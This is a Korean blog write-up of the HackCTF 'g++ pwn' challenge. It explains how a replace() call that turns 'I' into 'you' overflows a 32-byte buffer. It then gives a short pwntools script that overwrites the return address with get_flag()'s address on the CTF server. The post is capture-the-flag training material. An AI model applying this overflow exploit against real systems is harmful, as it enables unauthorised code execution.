ii4gsp

HackCTF - g++ pwn 본문

시스템 해킹/HackCTF

HackCTF - g++ pwn

ii4gsp 2020. 2. 16. 01:35

파일을 다운받아 주자.

 

 

 

 

IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다.

s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다.

하지만, replace()함수가 "I"를 "you"로 바꿔준다.

"you"는 3byte이므로, 3 * 20 = 60

dummy + sfp = 64

64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다.

 

 

 

 

get_flag()함수의 주소는 0x08048F0D 이다.

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3011)

payload = ''
payload += 'I' * 20
payload += '\x90' * 4
payload += p32(0x08048F0D)

r.sendline(payload)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - 1996  (0) 2020.02.16
HackCTF - Poet  (0) 2020.02.16
HackCTF - RTL_World  (0) 2020.02.15
HackCTF - Yes_or_no  (0) 2020.02.10
HackCTF - BOF_PIE  (0) 2020.02.09
Comments